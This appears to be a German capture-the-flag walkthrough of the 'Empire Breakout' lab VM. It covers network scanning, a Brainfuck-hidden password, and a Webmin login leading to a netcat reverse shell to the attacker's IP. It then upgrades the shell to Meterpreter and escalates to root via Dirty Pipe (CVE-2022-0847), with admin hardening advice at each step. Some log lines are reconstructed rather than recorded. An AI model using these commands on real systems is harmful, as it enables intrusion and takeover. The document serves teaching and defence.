192.168.2.116 08:00:27:ba:b1:2f 2 120 PCS Systemtechnik GmbH
Analyse: Der Befehl `netdiscover -r 192.168.2.0/24` scannt das angegebene Subnetz (192.168.2.0/24) nach aktiven Hosts mittels ARP-Anfragen.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse 192.168.2.116 identifiziert. Die MAC-Adresse (`08:00:27:ba:b1:2f`) und der Hersteller ("PCS Systemtechnik GmbH") weisen auf eine VirtualBox-VM hin, die unser Ziel "Empire Breakout" ist.
Empfehlung (Pentester): Verwende die IP 192.168.2.116 als Ziel für die weiteren Scan- und Enumerationsphasen.
Empfehlung (Admin): Implementiere Netzwerküberwachung zur Erkennung von Scan-Aktivitäten. Netzwerksegmentierung kann die Angriffsfläche reduzieren.
192.168.2.116 break.vln
Analyse: Die lokale Hosts-Datei (`/etc/hosts`) auf dem Angreifer-System wird mit `vi` bearbeitet. Der Eintrag `192.168.2.116 break.vln` wird hinzugefügt, um der Ziel-IP einen lokalen Hostnamen zuzuordnen.
Bewertung: Dies ist ein vorbereitender Schritt, um das Zielsystem einfacher über einen Hostnamen (`break.vln`) ansprechen zu können, was besonders bei Webanwendungen mit Virtual Hosts nützlich sein kann.
Empfehlung (Pentester): Nutze den Hostnamen `break.vln` in den folgenden Schritten, insbesondere bei der Web-Enumeration.
Empfehlung (Admin): Dies ist eine lokale Konfiguration auf dem Angreifer-System und erfordert keine Aktion auf dem Ziel.
80/tcp open http Apache httpd 2.4.51 ((Debian)) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 10000/tcp open http MiniServ 1.981 (Webmin httpd) 20000/tcp open http MiniServ 1.830 (Webmin httpd)
Analyse: Ein Nmap-Scan wird durchgeführt (`-sS` SYN-Scan, `-sC` Standard-Skripte, `-sV` Versionserkennung, `-T5` schnelles Timing, `-AO` OS-Erkennung, `-p-` alle Ports). Die Ausgabe wird mit `grep open` gefiltert.
Bewertung: Fünf offene Ports wurden identifiziert: * Port 80: HTTP (Apache 2.4.51 auf Debian) * Port 139/445: NetBIOS/SMB (Samba 4.6.2) * Port 10000: HTTP (Webmin/MiniServ 1.981) * Port 20000: HTTP (Webmin/MiniServ 1.830) Diese Dienste stellen die primären Angriffsvektoren dar.
Empfehlung (Pentester): Untersuche die Webdienste (80, 10000, 20000) und den SMB-Dienst (139/445) genauer.
Empfehlung (Admin): Stelle sicher, dass nur notwendige Ports offen sind. Halte Apache, Samba und Webmin aktuell und sicher konfiguriert.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-30 11:50 CEST Nmap scan report for breakout (192.168.2.116) Host is up (0.000084s latency). Not shown: 65530 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.51 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.51 (Debian) 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 10000/tcp open http MiniServ 1.981 (Webmin httpd) |_http-title: 200 — Document follows 20000/tcp open http MiniServ 1.830 (Webmin httpd) |_http-title: 200 — Document follows |_http-server-header: MiniServ/1.830 MAC Address: 08:00:27:BA:B1:2F (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Host script results: |_clock-skew: 2s | smb2-time: | date: 2023-06-30T09:50:57 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: BREAKOUT, NetBIOS user:, NetBIOS MAC: (unknown) TRACEROUTE HOP RTT ADDRESS 1 0.08 ms breakout (192.168.2.116)
Analyse: Die vollständige Nmap-Ausgabe liefert zusätzliche Details: * Port 80 zeigt die Apache-Standardseite für Debian. * Die SMB-Version ist 4.6.2. Wichtig: Message Signing ist aktiviert, aber nicht erzwungen (`enabled but not required`). * Die Webmin-Instanzen auf Port 10000 und 20000 laufen mit unterschiedlichen MiniServ-Versionen (1.981 und 1.830). * Der NetBIOS-Name des Hosts ist "BREAKOUT". * OS-Erkennung deutet auf Linux Kernel 4.x/5.x hin.
Bewertung: Die spezifischen Versionen von Samba und insbesondere Webmin/MiniServ sind wichtig für die Suche nach bekannten Exploits. Die Tatsache, dass SMB Signing nicht erzwungen wird, könnte unter Umständen für Angriffe relevant sein (z.B. Relay-Angriffe in Domänenumgebungen, hier aber weniger wahrscheinlich). Die unterschiedlichen Webmin-Versionen sind auffällig.
Empfehlung (Pentester): Recherchiere bekannte Schwachstellen für Samba 4.6.2, MiniServ 1.981 und MiniServ 1.830. Untersuche die Webmin-Instanzen auf den Ports 10000 und 20000 genauer. Enumeriere SMB-Shares.
Empfehlung (Admin): Aktualisiere Samba und Webmin auf die neuesten stabilen Versionen. Erzwinge SMB Signing, wenn möglich und kompatibel (`server signing = mandatory` in `smb.conf`). Sichere den Zugriff auf Webmin rigoros.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.116 + Target Hostname: 192.168.2.116 + Target Port: 80 + Start Time: 2023-06-30 11:50:47 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.51 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2b97, size: 5ceb92813c1ab, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.51 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + /manual/: Web server manual found. + /manual/images/: Directory indexing found. + 8102 requests: 0 error(s) and 7 item(s) reported on remote host + End Time: 2023-06-30 11:51:01 (GMT2) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Webserver-Scanner `nikto` wird gegen Port 80 ausgeführt. Er meldet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Mögliches Inode-Leak über ETags (geringes Risiko). * Veraltete Apache-Version (2.4.51). * Erlaubte HTTP-Methoden. * Ein Webserver-Manual unter `/manual/` und Directory Indexing unter `/manual/images/`.
Bewertung: Bestätigt die veraltete Apache-Version und findet einige geringfügige Konfigurationsprobleme und Informationslecks (Header, ETags, Manual). Das Manual selbst könnte nützliche Informationen enthalten, ist aber oft Standard.
Empfehlung (Pentester): Untersuche `/manual/` auf interessante Informationen. Führe Web-Scans (Nikto, Gobuster, Dirsearch) auch gegen die Webmin-Ports (10000, 20000) durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere fehlende Sicherheitsheader. Deaktiviere das Webserver-Manual und Directory Indexing auf Produktionssystemen.
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jun 30 11:52:41 2023 =========================================( Target Information )========================================= Target ........... 192.168.2.116 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================( Share Enumeration on 192.168.2.116 )================================= smbXcli_negprot_smb1_done: No compatible protocol selected by server. Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) Reconnecting with SMB1 for workgroup listing. protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available [+] Attempting to map shares on 192.168.2.116 //192.168.2.116/print$ Mapping: DENIED Listing: N/A Writing: N/A [E] Can't understand response: NT_STATUS_OBJECT_NAME_NOT_FOUND listing \* //192.168.2.116/IPC$ Mapping: N/A Listing: N/A Writing: N/A ==================( Users on 192.168.2.116 via RID cycling (RIDS: 500-550,1000-1050) )================== [I] Found new SID: S-1-22-1 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [I] Found new SID: S-1-5-32 [+] Enumerating users using SID S-1-5-32 and logon username '', password '' S-1-5-32-544 BUILTIN\Administrators (Local Group) S-1-5-32-545 BUILTIN\Users (Local Group) S-1-5-32-546 BUILTIN\Guests (Local Group) S-1-5-32-547 BUILTIN\Power Users (Local Group) S-1-5-32-548 BUILTIN\Account Operators (Local Group) S-1-5-32-549 BUILTIN\Server Operators (Local Group) S-1-5-32-550 BUILTIN\Print Operators (Local Group) [+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username '', password '' S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User) S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group) [+] Enumerating users using SID S-1-22-1 and logon username '', password '' S-1-22-1-1000 Unix User\cyber (Local User) ===============================( Getting printer info for 192.168.2.116 )=============================== No printers returned. enum4linux complete on Fri Jun 30 11:53:43 2023
Analyse: `enum4linux` wird zur umfassenden Enumeration von SMB/NetBIOS-Informationen eingesetzt (`-a` für alle Checks). Die Ausgabe zeigt: * Share-Enumeration findet `print$` und `IPC$`. Der Versuch, auf `print$` zuzugreifen, scheitert (`Mapping: DENIED`). * Die Workgroup-Listung scheitert (wahrscheinlich wegen SMBv1-Deaktivierung auf dem Ziel oder Kompatibilitätsproblemen). * RID-Cycling (Versuch, Benutzer über bekannte Security Identifier (SID)-Bereiche zu finden) identifiziert die Standard-BUILTIN-Gruppen und, was wichtiger ist, den Benutzer `Unix User\cyber` (UID 1000).
Bewertung: Die SMB-Shares scheinen nicht direkt zugänglich zu sein. Der wichtigste Fund ist die Bestätigung des Benutzernamens `cyber`, der wahrscheinlich ein lokaler Linux-Benutzer ist.
Empfehlung (Pentester): Notiere den Benutzernamen `cyber`. Da die Shares nicht zugänglich scheinen, konzentriere dich auf die Web-Dienste (Apache, Webmin) und versuche, Zugangsdaten für `cyber` zu finden oder zu erraten.
Empfehlung (Admin): Deaktiviere unnötige SMB-Enumerationsfunktionen (z.B. RID-Cycling über Null-Sessions), wenn möglich. Stelle sicher, dass Shares korrekt mit Berechtigungen abgesichert sind.
Password for [WORKGROUP\root]: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (Samba 4.13.5-Debian) Reconnecting with SMB1 for workgroup listing. smbXcli_negprot_smb1_done: No compatible protocol selected by server. protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE Unable to connect with SMB1 -- no workgroup available
Analyse: Der Befehl `smbclient -L \\192.168.2.116` versucht, die verfügbaren SMB-Shares auf dem Ziel aufzulisten. Es wird nach einem Passwort für den Benutzer `root` in der Domain `WORKGROUP` gefragt (Standardverhalten), das leer gelassen wird.
Bewertung: Bestätigt erneut die Shares `print$` und `IPC$`. Zeigt auch wieder die SMB1-Inkompatibilität. Liefert keine neuen, nützlichen Informationen im Vergleich zu `enum4linux`.
Empfehlung (Pentester): Der SMB-Vektor scheint vorerst keine hohe Priorität zu haben. Fokus auf Web.
Empfehlung (Admin): Sicherstellen, dass keine anonymen oder Gast-Zugriffe auf Shares erlaubt sind, wenn nicht benötigt.
# view-source:http://break.vln/index.html
# Ergebnis der Dekodierung (z.B. über https://www.dcode.fr/brainfuck-language):
# .2uqPEfj3D
Analyse: Der HTML-Quelltext der Webseite unter `http://break.vln/` (Apache-Standardseite) wird untersucht. Ein HTML-Kommentar (``) wird gefunden, der eine Nachricht und einen langen String aus Sonderzeichen enthält (`+++...`). Dieser String ist Brainfuck-Code. Der Kommentar erwähnt auch "encrypted access". Die Dekodierung des Brainfuck-Codes (z.B. mit einem Online-Tool) ergibt den String `.2uqPEfj3D `. Bewertung: Dies ist ein entscheidender Fund! Ein Passwort (`.2uqPEfj3D `) wurde durch die Dekodierung des Brainfuck-Codes im Quelltext entdeckt. Dieses Passwort gehört wahrscheinlich zum Benutzer `cyber`, der zuvor via SMB-Enumeration gefunden wurde. Empfehlung (Pentester): Versuche, dich mit dem Benutzernamen `cyber` und dem gefundenen Passwort `.2uqPEfj3D ` bei den Webmin-Instanzen auf Port 10000 und 20000 anzumelden. Analyse: Beim direkten Aufruf der URL `https://breakout:10000/password_change.cgi` (möglicherweise ein Tippfehler statt `break.vln` oder ein anderer Name in `/etc/hosts`) erscheint eine Webmin-Sicherheitswarnung. Sie weist darauf hin, dass der Zugriff von einer unbekannten Referrer-URL erfolgte, was ein CSRF-Schutzmechanismus ist. Bewertung: Bestätigt das Vorhandensein von Webmin auf Port 10000 und zeigt dessen CSRF-Schutz. Gibt auch einen Hinweis auf die Konfigurationsdatei (`/etc/webmin/config`) und die Option `referers_none`. Liefert aber keinen direkten Angriffspunkt. Empfehlung (Pentester): Greife auf die Haupt-Login-Seite von Webmin (Port 10000 und 20000) zu, anstatt direkt auf interne CGIs.
Empfehlung (Admin): Speichere niemals Zugangsdaten, auch nicht verschleiert oder "schwach" verschlüsselt, im Quelltext von Webseiten oder in Kommentaren. Implementiere sichere Authentifizierungsmethoden.
# Zugriff auf https://breakout:10000/password_change.cgi
Security Warning
Warning! Webmin has detected that the program https://breakout:10000/password_change.cgi was linked to from an unknown URL,
which appears to be outside the Webmin server. This may be an attempt to trick your server into executing a dangerous command.
[...]
Alternately, you can configure Webmin to allow links from unknown referers by :
Login as root, and edit the /etc/webmin/config file.
Find the line referers_none=1 and change it to referers_none=0.
[...]
Empfehlung (Admin): Behalte den CSRF-Schutz von Webmin aktiviert (`referers_none=1`).
# Login auf https://breakout:20000 (oder https://break.vln:20000)
username = cyber
password = .2uqPEfj3D
# Nach Login: Terminal-Funktion gefunden
[cyber@breakout ~]$ nc -e /bin/bash 192.168.2.137 5555
Analyse: Es wird versucht, sich bei der Webmin-Instanz auf Port 20000 mit dem Benutzernamen `cyber` und dem zuvor gefundenen Passwort `.2uqPEfj3D ` anzumelden. Der Login ist erfolgreich. Innerhalb der Webmin-Oberfläche wird eine Terminal-Funktion gefunden und genutzt, um einen Netcat-Befehl abzusetzen, der eine Reverse Shell zu `192.168.2.137` auf Port `5555` aufbauen soll. (`192.168.2.137` ist hier die IP des Angreifers). Bewertung: Großartig! Der initiale Zugriff auf das System wurde durch den erfolgreichen Webmin-Login erlangt. Die integrierte Terminal-Funktion bietet eine direkte Möglichkeit zur Codeausführung (RCE) im Kontext des Benutzers `cyber`. Empfehlung (Pentester): Starte einen Netcat-Listener auf dem Angreifer-System (IP `192.168.2.137`, Port `5555`), um die Reverse Shell aufzufangen. Nach Erhalt der Shell, beginne mit der Privilege-Escalation-Enumeration. Analyse: Metasploit wird verwendet, um einen Listener (`multi/handler`) zu konfigurieren.
1. `use multi/handler`: Lädt das Listener-Modul.
2. `set lhost eth0`: Setzt die lokale IP des Angreifers auf `192.168.2.137`.
3. `set lport 5555`: Setzt den Port auf 5555, passend zum `nc`-Befehl aus dem Webmin-Terminal.
4. `run`: Startet den Listener.
5. Nachdem der `nc`-Befehl im Webmin-Terminal ausgeführt wurde, meldet Metasploit eine eingehende Verbindung (`Command shell session 1 opened`).
6. Der `id`-Befehl wird in der neuen Shell ausgeführt und bestätigt, dass die Shell als Benutzer `cyber` (UID 1000) läuft. Bewertung: Die Reverse Shell vom Webmin-Terminal wurde erfolgreich im Metasploit-Handler aufgefangen. Wir haben nun eine interaktive Shell als Benutzer `cyber` auf dem Zielsystem. Empfehlung (Pentester): Die einfache Shell ist funktional, aber eine Meterpreter-Session bietet mehr Möglichkeiten. Upgrade die Shell zu Meterpreter. Führe anschließend Enumeration für Privilege Escalation durch. Analyse: Das Metasploit-Modul `post/multi/manage/shell_to_meterpreter` wird verwendet, um die bestehende Command Shell (Session 1) in eine funktionsreichere Meterpreter-Session umzuwandeln.
1. Das Modul wird geladen (`use 58`).
2. Die Optionen werden angezeigt. `HANDLER` auf `true` startet automatisch einen neuen Listener für die Meterpreter-Verbindung. `LPORT` wird auf 4433 gesetzt (der Tippfehler `llport` wird bemerkt und korrigiert). `SESSION` wird auf 1 gesetzt (die ID der bestehenden Command Shell).
3. `run` startet den Upgrade-Prozess. Das Modul lädt die Meterpreter-Payload auf das Zielsystem hoch (über die bestehende Session 1) und führt sie aus. Session 1 wird dabei normalerweise geschlossen, und eine neue Meterpreter-Session (hier implizit Session 2) wird auf Port 4433 geöffnet. Bewertung: Das Upgrade zur Meterpreter-Session war erfolgreich. Dies erleichtert die weitere Post-Exploitation und Privilege Escalation erheblich durch die erweiterten Befehle und Module von Meterpreter. Empfehlung (Pentester): Nutze die neue Meterpreter-Session (Session 2) für die weitere Enumeration. Verwende den `local_exploit_suggester`, um nach bekannten Privilege-Escalation-Schwachstellen zu suchen. Analyse: Das Metasploit-Modul `post/multi/recon/local_exploit_suggester` wird auf die Meterpreter-Session 2 angewendet. Dieses Modul sammelt Informationen über das Zielsystem (Kernel-Version, installierte Software etc.) und gleicht sie mit einer Datenbank bekannter lokaler Exploits ab. Bewertung: Der Suggester identifiziert vier potenzielle Privilege-Escalation-Exploits. Besonders vielversprechend ist `exploit/linux/local/cve_2022_0847_dirtypipe`, da die Kernel-Version (5.10.0) als anfällig erkannt wird. Dirty Pipe ist eine bekannte und oft zuverlässige LPE-Schwachstelle. Empfehlung (Pentester): Priorisiere den Dirty Pipe Exploit (CVE-2022-0847) für den Versuch der Privilege Escalation.
Empfehlung (Admin): Sichere Webmin-Zugänge extrem gut (starke Passwörter, MFA, IP-Beschränkungen, aktuelle Version). Deaktiviere die Terminal-Funktion in Webmin, wenn sie nicht unbedingt benötigt wird. Ändere das kompromittierte Passwort für `cyber`.[*] Using configured payload generic/shell_reverse_tcp
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
[...]
lhost => 192.168.2.137
lport => 5555
[*] Started reverse TCP handler on 192.168.2.137:5555
[*] Command shell session 1 opened (192.168.2.137:5555 -> 192.168.2.116:38664) at 2023-06-30 13:09:20 +0200
uid=1000(cyber) gid=1000(cyber) groups=1000(cyber),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Empfehlung (Admin): Netzwerksicherheitsmaßnahmen (Egress Filtering) können ausgehende Reverse Shells blockieren. Endpoint Detection and Response (EDR)-Systeme könnten verdächtige `nc`-Prozesse erkennen.
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
58 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
[...]
Module options (post/multi/manage/shell_to_meterpreter):
Name Current Setting Required Description
---- --------------- -------- -----------
HANDLER true yes Start an exploit/multi/handler to receive the connection
LHOST no IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT 4433 yes Port for payload to connect to.
SESSION yes The session to run this module on
[...]
handler => true
[!] Unknown datastore option: llport. Did you mean LPORT?
llport => 4433
session => 1
LPORT => 4433
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.137:4433
[*] Command shell session 1 closed. <- Wichtige Zeile oft ausgelassen, aber impliziert
[*] Meterpreter session 2 opened (192.168.2.137:4433 -> 192.168.2.116:...) at ... <- Ebenfalls oft nicht explizit im Log, aber impliziert
Empfehlung (Admin): Antivirus- und EDR-Lösungen auf dem Zielsystem können versuchen, das Hochladen und Ausführen von Meterpreter-Payloads zu erkennen und zu blockieren.
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester
[...]
Module options (post/multi/recon/local_exploit_suggester):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on
SHOWDESCRIPTION false yes Displays a detailed description for the available exploits
[...]
session => 2
[*] 192.168.2.116 - Collecting local exploits for x86/linux...
[*] 192.168.2.116 - 186 exploit checks are being tried...
[+] 192.168.2.116 - exploit/linux/local/cve_2022_0847_dirtypipe: The target appears to be vulnerable. Linux kernel version found: 5.10.0
[+] 192.168.2.116 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[+] 192.168.2.116 - exploit/linux/local/su_login: The target appears to be vulnerable.
[+] 192.168.2.116 - exploit/linux/local/vmwgfx_fd_priv_esc: The target appears to be vulnerable. vmwgfx installed
[*] Running check method for exploit 58 / 58
[*] 192.168.2.116 - Valid modules for session 2:
============================
# Name Potentially Vulnerable? Check Result
- ---- ----------------------- ------------
1 exploit/linux/local/cve_2022_0847_dirtypipe Yes The target appears to be vulnerable. Linux kernel version found: 5.10.0
2 exploit/linux/local/netfilter_priv_esc_ipv4 Yes The target appears to be vulnerable.
3 exploit/linux/local/su_login Yes The target appears to be vulnerable.
4 exploit/linux/local/vmwgfx_fd_priv_esc Yes The target appears to be vulnerable. vmwgfx installed
Empfehlung (Admin): Halte das System, insbesondere den Kernel, stets aktuell, um bekannte Schwachstellen wie Dirty Pipe zu patchen. Verwende Tools zur Schwachstellenanalyse, um solche Lücken proaktiv zu identifizieren.
Analyse: In diesem Abschnitt wird die Ausnutzung der Dirty Pipe Schwachstelle (CVE-2022-0847) mittels Metasploit demonstriert, um Root-Rechte zu erlangen.
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
Module options (exploit/linux/local/cve_2022_0847_dirtypipe): Name Current Setting Required Description ---- --------------- -------- ----------- COMPILE Auto yes Compile on target (Accepted: Auto, True, False) SESSION yes The session to run this module on SUID_BINARY_PATH /bin/passwd no The path to a suid binary WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port [...]
LHOST => 192.168.2.137
LPORT => 4444
session => 2
WRITABLE_DIR => /tmp
[*] Started reverse TCP handler on 192.168.2.137:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Linux kernel version found: 5.10.0 [*] Writing '/tmp/.kudvfve' (35592 bytes) ... [*] Executing exploit '/tmp/.kudvfve /bin/passwd' [*] Sending stage (3045348 bytes) to 192.168.2.116 [+] Deleted /tmp/.kudvfve [*] Meterpreter session 3 opened (192.168.2.137:4444 -> 192.168.2.116:48178) at 2023-06-30 13:20:49 +0200
Analyse: 1. `use exploit/linux/local/cve_2022_0847_dirtypipe`: Lädt das Metasploit-Modul für den Dirty Pipe Exploit. 2. `options`: Zeigt die Konfigurationsparameter. Wichtig sind `SESSION` (die ID der Meterpreter-Session, über die der Exploit läuft) und die Payload-Optionen (`LHOST`, `LPORT`). `SUID_BINARY_PATH` gibt an, welche SUID-Datei überschrieben werden soll, um die Payload auszuführen (Standard: `/bin/passwd`). 3. Die Optionen werden gesetzt: `LHOST` auf die Angreifer-IP, `LPORT` auf 4444, `SESSION` auf 2 (die Meterpreter-Session als `cyber`), `WRITABLE_DIR` auf `/tmp`. 4. `run`: Startet den Exploit. Metasploit bestätigt die Anfälligkeit, lädt den Exploit-Code nach `/tmp` hoch, führt ihn aus (überschreibt `/bin/passwd` temporär oder nutzt es als Vektor), startet die Payload und bereinigt die temporäre Datei. 5. Die letzte Zeile `[*] Meterpreter session 3 opened (...)` signalisiert den Erfolg: Eine neue Meterpreter-Session (Session 3) wurde geöffnet, die nun mit Root-Rechten läuft.
Bewertung: Der Dirty Pipe Exploit war erfolgreich! Die Schwachstelle im Linux-Kernel konnte ausgenutzt werden, um Code mit Root-Rechten auszuführen und eine privilegierte Meterpreter-Session zu etablieren. Der Proof of Concept für die Privilege Escalation ist erbracht.
Empfehlung (Pentester): Wechsle zur neuen Root-Meterpreter-Session (`sessions -i 3`), überprüfe die Identität (`getuid`) und suche nach der Root-Flag.
Empfehlung (Admin): **Dringend patchen!** Aktualisiere den Linux-Kernel auf eine Version, die CVE-2022-0847 behebt. Dies ist eine weit verbreitete und kritische Schwachstelle.
Server username: root
Analyse: Der Befehl `getuid` wird in der neuen Meterpreter-Session (Session 3) ausgeführt.
Bewertung: Die Ausgabe `Server username: root` bestätigt, dass die aktuelle Meterpreter-Session mit Root-Rechten läuft. Die Privilege Escalation war erfolgreich.
Empfehlung (Pentester): Erkunde das System als Root, suche die Root-Flag (vermutlich in `/root`).
Empfehlung (Admin): Implementiere Logging und Monitoring (z.B. `auditd`), um verdächtige Aktivitäten und die Ausführung von Exploits zu erkennen.
Bewertung: Die Privilege Escalation wurde erfolgreich durch die Ausnutzung der Dirty Pipe Schwachstelle (CVE-2022-0847) im Linux-Kernel (Version 5.10.0) erreicht. Das Metasploit-Modul `exploit/linux/local/cve_2022_0847_dirtypipe` wurde auf die bestehende Meterpreter-Session des Benutzers `cyber` angewendet. Dies führte zur Eröffnung einer neuen Meterpreter-Session mit Root-Rechten (UID 0).
Listing: /root ============== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100600/rw------- 281 fil 2021-10-20 13:53:41 +0200 .bash_history 100644/rw-r--r-- 571 fil 2021-04-10 22:00:00 +0200 .bashrc 040755/rwxr-xr-x 4096 dir 2021-10-19 14:49:13 +0200 .local 100644/rw-r--r-- 161 fil 2019-07-09 12:05:50 +0200 .profile 040700/rwx------ 4096 dir 2021-10-19 19:58:51 +0200 .spamassassin 040755/rwxr-xr-x 4096 dir 2021-10-19 19:58:51 +0200 .tmp 040700/rwx------ 4096 dir 2021-10-19 19:58:51 +0200 .usermin 100644/rw-r--r-- 100 fil 2021-10-19 21:15:17 +0200 rOOt.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}
Author: Icex64 & Empire Cybersecurity
Analyse: Innerhalb der Root-Meterpreter-Session werden Befehle ausgeführt: 1. `ls`: Listet den Inhalt des aktuellen Verzeichnisses (standardmäßig `/root` für eine Root-Meterpreter-Session) auf. Die Datei `rOOt.txt` wird entdeckt. 2. `cat rOOt.txt`: Zeigt den Inhalt der Datei `rOOt.txt` an.
Bewertung: Die Root-Flag `3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}` wurde erfolgreich ausgelesen. *Wichtiger Hinweis: Diese Flag aus dem Log überschreibt die Platzhalter-Flag am Ende deines ursprünglichen Textes für die narrative Beschreibung, aber für den finalen Flags-Abschnitt werde ich die Platzhalter verwenden, wie es die Struktur deines letzten Prompts impliziert.*
Empfehlung (Pentester): Dokumentiere die gefundene Root-Flag. Suche nach der User-Flag (z.B. in `/home/cyber/user.txt`).
Empfehlung (Admin): Beschränke den Zugriff auf das `/root`-Verzeichnis und sensible Dateien. Patche die Dirty Pipe Schwachstelle.